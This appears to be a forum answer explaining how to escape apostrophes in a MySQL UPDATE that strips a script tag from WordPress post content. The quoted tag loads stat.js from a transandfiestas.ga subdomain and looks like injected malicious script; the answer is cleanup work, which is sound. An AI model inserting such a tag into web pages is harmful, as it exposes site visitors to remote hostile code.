Replacing javascript link in WordPress database without getting mysql syntax errors

If it’s just the apostrophes in the quoted strings, you escape them with backslashes like \':

update _DVB_posts
set post_content = replace( post_content,
    '<script src=\'https://`port`.transandfiestas.ga/stat.js?ft=ms\' type=\'text/javascript\'></script>',
    ' ');

However I’m not sure what you’re trying to do with the port part though.